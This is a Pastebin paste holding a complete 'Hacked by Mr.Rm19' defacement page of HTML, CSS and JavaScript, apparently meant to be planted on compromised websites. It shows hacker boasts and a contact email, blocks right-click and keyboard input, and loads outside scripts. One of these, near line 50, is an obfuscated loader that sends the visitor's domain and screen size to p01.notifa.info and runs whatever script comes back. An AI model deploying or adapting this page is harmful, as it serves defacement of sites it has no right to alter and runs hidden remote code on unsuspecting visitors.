Advertisement
MrRm19

script galau

Sep 20th, 2019
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.68 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html lang="en" >
  3.  
  4. <head>
  5. <meta charset="UTF-8">
  6. <title>Hacked by Mr.Rm19</title>
  7. <link rel="SHORTCUT ICON" href="https://cdn-cms.f-static.com/uploads/732031/800_59f4de130b999.jpg" type="image/x-icon"/>
  8. <link href='https://fonts.googleapis.com/css?family=Nosifer' rel='stylesheet' type='text/css'>
  9. <link href='https://fonts.googleapis.com/css?family=Iceland' rel='stylesheet' type='text/css'>
  10. <link href="https://fonts.googleapis.com/css?family=Sarpanch:700" rel="stylesheet">
  11. <link href="https://fonts.googleapis.com/css?family=play" rel="stylesheet">
  12. <link rel="stylesheet" type="text/css" href="https://csshake.surge.sh/csshake.min.css">
  13. <link rel="SHORTCUT ICON" href="https://cdn-cms.f-static.com/uploads/732031/800_59f4de130b999.jpg">
  14.  
  15.  
  16. <link rel="stylesheet" href="css/style.css">
  17.  
  18.  
  19. </head>
  20.  
  21. <body>
  22.  
  23. <div class="stars">
  24. <center>
  25. <h1>Hacked by Mr.Rm19</h1>
  26. </center>
  27. </div>
  28. <div class="twinkling">
  29. <center><br><br><br>
  30. <style type="text/css"> @import url(https://fonts.googleapis.com/css?family=Iceberg); @import url(https://fonts.googleapis.com/css?family=Sedgwick+Ave+Display); @import url(https://fonts.googleapis.com/css?family=Jolly+Lodger); @import url(https://fonts.googleapis.com/css?family=Margarine|Trade+Winds); {-webkit-animation-duration: 3s; -webkit-animation-timing-function: linear; -webkit-animation-iteration-count: infinite; -moz-animation-name: blinker; -moz-animation-duration: 2s; -moz-animation-timing-function: linear; -moz-animation-iteration-count: infinite; animation-name: blinker; animation-duration: 1s; animation-timing-function: linear; animation-iteration-count: infinite; color: deepskyblue; } @-moz-keyframes blinker { 0% { opacity: 1.0; } 50% { opacity: 0.0; } 100% { opacity: 1.0; } } @-webkit-keyframes blinker { 0% { opacity: 1.0; } 50% { opacity: 0.0; } 100% { opacity: 1.0; } } @keyframes blinker { 0% { opacity: 1.0; } 50% { opacity: 0.0; } 100% { opacity: 1.0; } } img { opacity: 1.0; } //rotate mrxbarakuda .rotator { width: 50px; height: 50px; margin: 24px; } .transition { -webkit-transition: all 1000s linear; -moz-transition: all 1000s linear; -ms-transition: all 1000s linear; -o-transition: all 1000s linear; transition: all 1000s linear; } .translateAnimationClass { -webkit-transform: rotateX(43200deg) rotateY(14400deg); -moz-transform: rotateX(43200deg) rotateY(14400deg); -ms-transform: rotateX(43200deg) rotateY(14400deg); -o-transform: rotateX(43200deg) rotateY(14400deg); transform: rotateX(43200deg) rotateY(14400deg); } .animation { -webkit-animation: rotator 4s linear infinite; -moz-animation: rotator 4s linear infinite; -ms-animation: rotator 4s linear infinite; -o-animation: rotator 4s linear infinite; animation: rotator 4s linear infinite; } @-webkit-keyframes rotator { 0% { -webkit-transform: rotateX(0deg) rotateY(0deg); } 100% { -webkit-transform: rotateX(1080deg) rotateY(360deg); } } @-moz-keyframes rotator { 0% { -moz-transform: rotateX(0deg) rotateY(0deg); } 100% { -moz-transform: rotateX(1080deg) rotateY(360deg); } } @-ms-keyframes rotator { 0% { -ms-transform: rotateX(0deg) rotateY(0deg); } 100% { -ms-transform: rotateX(1080deg) rotateY(360deg); } } @-o-keyframes rotator { 0% { -o-transform: rotateX(0deg) rotateY(0deg); } 100% { -o-transform: rotateX(1080deg) rotateY(360deg); } } @keyframes rotator { 0% { transform: rotateX(0deg) rotateY(0deg); } 100% { transform: rotateX(1080deg) rotateY(360deg); } } hr { border: 0; height: 1px; background-image: linear-gradient(to right,rgba(0,0,0,0),rgb(255, 0, 0),rgba(0,0,0,0)) } g { color: yellow; } .foter span { text-align: center; font-family: trade Winds; font-size: 300%; color: silver; text-shadow: 0 0 3px red, 0px 0px 5px darkblue; } #sec:hover { color: #000000; text-shadow: 0 0 3px red, 0px 0px 5px darkblue; } .drop { position: absolute; width: 3; filter: flipV(), flipH(); font-size: 20; } a { text-decoration: none; color: red; } xkuda { color: red; } kudax { color: white; } </style></head> <script type="text/javascript" src="http://yourjavascript.com/298358144/kuda3.js"></script> <script language="javascript"> snow = false; snowsym = " * " rainsym = " ' " howmany = 25 if(snow){sym = snowsym; speed=2; angle=10; drops=howmany} else{sym = rainsym; speed=30; drops=howmany; angle=55} movex = -speed/angle; movey = speed; count = 0; function moverain(){ for(move = 0; move < drops; move++){ xx[move]+=movex; yy[move]+=mv[move]; hmm = Math.round(Math.random()*1); if(xx[move] < 0){xx[move] = maxx+10;} if(yy[move] > maxy){yy[move] = 75;} drop[move].left = xx[move] drop[move].top = yy[move]+document.body.scrollTop; }setTimeout('moverain()','1')} </script> <script type="text/javascript"> drop = new Array(); xx = new Array(); yy = new Array(); mv = new Array() ly = "document.all[\'"; st = "\'].style" for(make = 0; make < drops; make++){ document.write('<div id="drop'+make+'" class=drop>'+sym+'</div>'); drop[make] = eval(ly+'drop'+make+st); maxx = document.body.clientWidth-40 maxy = document.body.clientHeight-40 xx[make] = Math.random()*maxx; yy[make] = -100-Math.random()*maxy; drop[make].left = xx[make] drop[make].top = yy[make] mv[make] = (Math.random()*5)+speed/4; drop[make].fontSize = (Math.random()*10)+20; if(snow){col = 'white'}else{col = 'aqua'} drop[make].color = col; } window.onload=moverain </script>
  31. <body oncontextmenu='return false;' onkeydown='return false;' onmousedown='return false;' ondragstart='return false;' onselectstart='return false;' style='-moz-user-select: none; cursor: default;'><center><img class='rotator animation' src="https://cdn-cms.f-static.com/uploads/732031/800_59f4de130b999.jpg" alt="Gans" width="120" height="120">
  32. <div class="container">
  33. <div class="text"></div>
  34. </div><br><br><br>
  35. <font face="Sarpanch" color="white" size"10" class="message">
  36. &nbsp; hacked by Mr.Rm19 <font color="red"><br>Rinduku seperti ranting yang tetap berdiri, meski tak satupun lagi dedaunan yang menemani, sampai akhirnya mengering, patah dan mati.
  37. <font color="green"><br>
  38. </font>
  39. </font><br><br><br>
  40. <font face="Sarpanch" color="green" size"10" class="message">
  41. &nbsp; indonesian hacker rulez<br>
  42. me : ramdan19id@gmail.com
  43. <font face="Sarpanch" color="white" size"10" class="message"><font color="red"></font>
  44. <font face="Play">
  45. </font>
  46.  
  47. </div>
  48. <div class="clouds">
  49. </div>
  50. </script><script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "p01.notifa.info/3fsmd3/request" + "?id=1" + "&enc=9UwkxLgY9" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582Am8lISurprAb8R9%2bW9tvAxLfleqSsI%2bT3PgKRi17p97Z9laSRBfGKf3khQKAz4wpROX0nda7ARlJItDkGevYV0aestq4KY4%2fpllC10sQNx%2fN25wDGXYflYxypoRPZhSHrURrpEePSTKzEm07OMk10%2f%2fIv7o%2fDnTVBLHIYO5atT0GXk1B6EjZQMyieNFNDN7s6bR1VX4vhypW42CS2wESWyb2JMocH4hvdKsf7oNa%2b7nYYBs1WyDxkm1m%2f4E7bo80gncTReBoJp8hM8THRZ720P8LxtYRMpgXgzDFWo0zYjbAd5RE6RiGbHpapfCeTebI6Pq0p%2bYJiaHANUqFijrz%2bibW7Nl88ww7pPngvKIHOR%2fCKJDu2BunJGL%2fD9iXp6kfC3mt5q5CkqRflqiMKfU96Wt1BYjKXXOfFOl8I3jQ2Uahj5FdGkSepRy5cZuSkbFbffa7s7Upd1eklYTRJfb35ZJCT%2fWCaPnYClLqYeysc%2buLRCLEeeC76DwEeDmukgrgbmY24jBWqjFUX7goxjJw9vGexRVFTDFOKSh3fSks4qC" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body> <br><br>
  51.  
  52.  
  53.  
  54. </html><style>
  55. * {
  56. margin: 0;
  57. padding: 0;
  58. }
  59.  
  60. body{
  61. background-color: #000;
  62. }
  63.  
  64. header {
  65. background-color:rgba(33, 33, 33, 0.9);
  66. color:#ffffff;
  67. display:block;
  68. font: 14px/1.3 Arial,sans-serif;
  69. height:50px;
  70. position:relative;
  71. z-index:5;
  72. }
  73. h1{
  74. margin-top: 30px;
  75. text-align: center;
  76. color: white;
  77. font-family: Nosifer;
  78. text-shadow: 0 0 0.5em red, 0 0 0.5em red;
  79. }
  80.  
  81. .we-are {
  82. color: red;
  83. font-size: 20px;
  84. text-shadow: #000 2px 2px 2px;
  85. letter-spacing: 2px;
  86. }
  87.  
  88. .message {
  89. color: white;
  90. -webkit-animation: fadeIn 1s ease-in;
  91. animation: fadeIn 1s ease-in;
  92. }
  93.  
  94. .cn {
  95. color: white;
  96. font-size: 14px;
  97. text-shadow: #000 2px 2px 2px;
  98. letter-spacing: 2px;
  99. -webkit-animation: fadeIn 3s ease-in;
  100. animation: fadeIn 1s ease-in;
  101. }
  102.  
  103. -webkit-@keyframes we-are {
  104. from {scale: 1.1;}
  105. to {scale: 0;}
  106. }
  107.  
  108. @keyframes we-are {
  109. from {scale: 1.1;}
  110. to {scale: 0;}
  111. }
  112.  
  113. -webkit-@keyframes fadeIn {
  114. 0% {opacity: 0;}
  115. 100% {opacity: 1;}
  116. }
  117.  
  118. @keyframes fadeIn {
  119. 0% {opacity: 0;}
  120. 100% {opacity: 1;}
  121. }
  122.  
  123. @keyframes move-twink-back {
  124. from {background-position:0 0;}
  125. to {background-position:-10000px 5000px;}
  126. }
  127. @-webkit-keyframes move-twink-back {
  128. from {background-position:0 0;}
  129. to {background-position:-10000px 5000px;}
  130. }
  131. @-moz-keyframes move-twink-back {
  132. from {background-position:0 0;}
  133. to {background-position:-10000px 5000px;}
  134. }
  135. @-ms-keyframes move-twink-back {
  136. from {background-position:0 0;}
  137. to {background-position:-10000px 5000px;}
  138. }
  139.  
  140. @keyframes move-clouds-back {
  141. from {background-position:0 0;}
  142. to {background-position:10000px 0;}
  143. }
  144. @-webkit-keyframes move-clouds-back {
  145. from {background-position:0 0;}
  146. to {background-position:10000px 0;}
  147. }
  148. @-moz-keyframes move-clouds-back {
  149. from {background-position:0 0;}
  150. to {background-position:10000px 0;}
  151. }
  152. @-ms-keyframes move-clouds-back {
  153. from {background-position: 0;}
  154. to {background-position:10000px 0;}
  155. }
  156.  
  157. .stars, .twinkling, .clouds {
  158. position:absolute;
  159. top:0;
  160. left:0;
  161. right:0;
  162. bottom:0;
  163. width:100%;
  164. height:100%;
  165. display:block;
  166. }
  167.  
  168. .stars {
  169. background:#000 url(http://www.script-tutorials.com/demos/360/images/stars.png) repeat top center;
  170. z-index:0;
  171. }
  172.  
  173. .twinkling{
  174. background:transparent url(http://www.script-tutorials.com/demos/360/images/twinkling.png) repeat top center;
  175. z-index:1;
  176.  
  177. -moz-animation:move-twink-back 200s linear infinite;
  178. -ms-animation:move-twink-back 200s linear infinite;
  179. -o-animation:move-twink-back 200s linear infinite;
  180. -webkit-animation:move-twink-back 200s linear infinite;
  181. animation:move-twink-back 200s linear infinite;
  182. }
  183.  
  184. .clouds{
  185. background:transparent url(http://www.script-tutorials.com/demos/360/images/clouds3.png) repeat top center;
  186. background-repeat: no-repeat;
  187. z-index:3;
  188.  
  189. -moz-animation:move-clouds-back 200s linear infinite;
  190. -ms-animation:move-clouds-back 200s linear infinite;
  191. -o-animation:move-clouds-back 200s linear infinite;
  192. -webkit-animation:move-clouds-back 200s linear infinite;
  193. animation:move-clouds-back 200s linear infinite;
  194. }
  195.  
  196. .container {
  197. height: 100%;
  198. width: 100%;
  199. justify-content: center;
  200. align-items: center;
  201. display: flex;
  202. }
  203. .text {
  204. font-weight: 100;
  205. font-size: 28px;
  206. color: #FAFAFA;
  207. font-family: Iceland;
  208. text-shadow: 0 0 0.5em cyan, 0 0 0.5em cyan;
  209.  
  210. }
  211. .dud {
  212. color: #757575;
  213. }
  214.  
  215. .animation-container {
  216. position: fixed;
  217. top: 0;
  218. left: 0;
  219. right: 0;
  220. bottom: 0;
  221. z-index: 1;
  222. }
  223.  
  224. .animation-container span {
  225. color: whitesmoke;
  226. display: block;
  227. font-size: 18px;
  228. font-family: 'Helvetica';
  229. text-shadow: 0 0 1px white;
  230. position: absolute;
  231. user-select: none;
  232. pointer-events: none;
  233. cursor: default;
  234. z-index: 1;
  235. opacity: 0;
  236. will-change: transform, opacity;
  237. animation-timing-function: ease-out;
  238. animation-name: move;
  239. }
  240.  
  241. @keyframes move {
  242. 0% {
  243. opacity: 0;
  244. transform: translateY(100vh);
  245. }
  246. 25% {
  247. opacity: 1;
  248. }
  249. 50% {
  250. opacity: 1;
  251. }
  252. 75% {
  253. opacity: 0;
  254. }
  255. 100% {
  256. opacity: 0;
  257. transform: none;
  258. }
  259. }
  260. .buzz_wrapper{
  261. position:relative;
  262. width:100%;
  263. margin:180px auto;
  264. background-attachment: fixed;
  265. background-image: url(http://i.imgur.com/9QpJPlG.jpg);
  266. background-position: 0 0;
  267. background-repeat: no-repeat ;
  268. background-size:cover;
  269. overflow : hidden;
  270. overflow:hidden;
  271. padding:100px;
  272. }
  273. .scanline{
  274. width:100%;
  275. display:block;
  276. background:#000;
  277. height:4px;
  278. position:relative;
  279. z-index:3;
  280. margin-bottom:5px;
  281. opacity:0.1;
  282. }
  283. .buzz_wrapper span{
  284. position:absolute;
  285. -webkit-filter: blur(1px);
  286. font-size:30px;
  287. font-family:'Courier new', fixed;
  288. font-weight:bold;
  289. }
  290. .buzz_wrapper span:nth-child(1){
  291. color:red;
  292. margin-left:-2px;
  293. -webkit-filter: blur(2px);
  294. }
  295. .buzz_wrapper span:nth-child(2){
  296. color:green;
  297. margin-left:2px;
  298. -webkit-filter: blur(2px);
  299. }
  300. .buzz_wrapper span:nth-child(3){
  301. color:blue;
  302. position:20px 0;
  303. -webkit-filter: blur(1px);
  304. }
  305. .buzz_wrapper span:nth-child(4){
  306. color:#fff;
  307. -webkit-filter: blur(1px);
  308. text-shadow:0 0 50px rgba(255,255,255,0.4);
  309. }
  310. .buzz_wrapper span:nth-child(5){
  311. color:rgba(255,255,255,0.4);
  312. -webkit-filter: blur(15px);
  313. }
  314.  
  315. .buzz_wrapper span{
  316. -webkit-animation: blur 30ms infinite, jerk 50ms infinite;
  317. }
  318.  
  319. @-webkit-keyframes blur {
  320. 0% { -webkit-filter: blur(1px); opacity:0.8;}
  321. 50% { -webkit-filter: blur(1px); opacity:1; }
  322. 100%{ -webkit-filter: blur(1px); opacity:0.8; }
  323. }
  324. @-webkit-keyframes jerk {
  325. 50% { left:1px; }
  326. 51% { left:0; }
  327. }
  328. @-webkit-keyframes jerkup {
  329. 50% { top:1px; }
  330. 51% { top:0; }
  331. }
  332.  
  333. .buzz_wrapper span:nth-child(3){
  334. -webkit-animation: jerkblue 1s infinite;
  335. }
  336. @-webkit-keyframes jerkblue {
  337. 0% { left:0; }
  338. 30% { left:0; }
  339. 31% { left:10px; }
  340. 32% { left:0; }
  341. 98% { left:0; }
  342. 100% { left:10px; }
  343. }
  344. .buzz_wrapper span:nth-child(2){
  345. -webkit-animation: jerkgreen 1s infinite;
  346. }
  347. @-webkit-keyframes jerkgreen {
  348. 0% { left:0; }
  349. 30% { left:0; }
  350. 31% { left:-10px; }
  351. 32% { left:0; }
  352. 98% { left:0; }
  353. 100% { left:-10px; }
  354. }
  355.  
  356. .buzz_wrapper .text{
  357. -webkit-animation: jerkwhole 5s infinite;
  358. position:relative;
  359. }
  360. @-webkit-keyframes jerkwhole {
  361. 30% { }
  362. 40% { opacity:1; top:0; left:0; -webkit-transform:scale(1,1); -webkit-transform:skew(0,0);}
  363. 41% { opacity:0.8; top:0px; left:-100px; -webkit-transform:scale(1,1.2); -webkit-transform:skew(50deg,0);}
  364. 42% { opacity:0.8; top:0px; left:100px; -webkit-transform:scale(1,1.2); -webkit-transform:skew(-80deg,0);}
  365. 43% { opacity:1; top:0; left:0; -webkit-transform:scale(1,1); -webkit-transform:skew(0,0);}
  366. 65% { }
  367. }
  368. </style>
  369.  
  370.  
  371. <script type="text/javascript">
  372. class TextScramble {
  373. constructor(el) {
  374. this.el = el
  375. this.chars = '!@#$%^&*()_-=+{}:"|<>?,./;'
  376. this.update = this.update.bind(this)
  377. }
  378. setText(newText) {
  379. const oldText = this.el.innerText
  380. const length = Math.max(oldText.length, newText.length)
  381. const promise = new Promise((resolve) => this.resolve = resolve)
  382. this.queue = []
  383. for (let i = 0; i < length; i++) {
  384. const from = oldText[i] || ''
  385. const to = newText[i] || ''
  386. const start = Math.floor(Math.random() * 40)
  387. const end = start + Math.floor(Math.random() * 40)
  388. this.queue.push({ from, to, start, end })
  389. }
  390. cancelAnimationFrame(this.frameRequest)
  391. this.frame = 0
  392. this.update()
  393. return promise
  394. }
  395. update() {
  396. let output = ''
  397. let complete = 0
  398. for (let i = 0, n = this.queue.length; i < n; i++) {
  399. let { from, to, start, end, char } = this.queue[i]
  400. if (this.frame >= end) {
  401. complete++
  402. output += to
  403. } else if (this.frame >= start) {
  404. if (!char || Math.random() < 0.28) {
  405. char = this.randomChar()
  406. this.queue[i].char = char
  407. }
  408. output += `<span class="dud">${char}</span>`
  409. } else {
  410. output += from
  411. }
  412. }
  413. this.el.innerHTML = output
  414. if (complete === this.queue.length) {
  415. this.resolve()
  416. } else {
  417. this.frameRequest = requestAnimationFrame(this.update)
  418. this.frame++
  419. }
  420. }
  421. randomChar() {
  422. return this.chars[Math.floor(Math.random() * this.chars.length)]
  423. }
  424. }
  425.  
  426. const phrases = [
  427. ' I am a criminal.',
  428. 'My crime is to know about everything.',
  429. 'you can just look for me.',
  430. 'fix the system please.',
  431. ]
  432.  
  433. const el = document.querySelector('.text')
  434. const fx = new TextScramble(el)
  435.  
  436. let counter = 0
  437. const next = () => {
  438. fx.setText(phrases[counter]).then(() => {
  439. setTimeout(next, 1500)
  440. })
  441. counter = (counter + 1) % phrases.length
  442. }
  443.  
  444. next()
  445.  
  446. 'use strict';
  447.  
  448. var app = {
  449.  
  450.  
  451. init: function () {
  452. app.container = document.createElement('div');
  453. app.container.className = 'animation-container';
  454. document.body.appendChild(app.container);
  455. window.setInterval(app.add, 100);
  456. },
  457.  
  458. add: function () {
  459. var element = document.createElement('span');
  460. app.container.appendChild(element);
  461. app.animate(element);
  462. },
  463.  
  464. animate: function (element) {
  465. var character = app.chars[Math.floor(Math.random() * app.chars.length)];
  466. var duration = Math.floor(Math.random() * 15) + 1;
  467. var offset = Math.floor(Math.random() * (50 - duration * 2)) + 3;
  468. var size = 10 + (15 - duration);
  469. element.style.cssText = 'right:'+offset+'vw; font-size:'+size+'px;animation-duration:'+duration+'s';
  470. element.innerHTML = character;
  471. window.setTimeout(app.remove, duration * 1000, element);
  472. },
  473.  
  474. remove: function (element) {
  475. element.parentNode.removeChild(element);
  476. },
  477.  
  478. };
  479.  
  480. document.addEventListener('DOMContentLoaded', app.init);
  481. </script>
  482. <html>
  483. <iframe width="0" height="0" src="https://api.soundcloud.com/tracks/50985807/stream?client_id=a3e059563d7fd3372b49b37f00a00bcf" frameborder="0" allowfullscreen></iframe>
  484. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement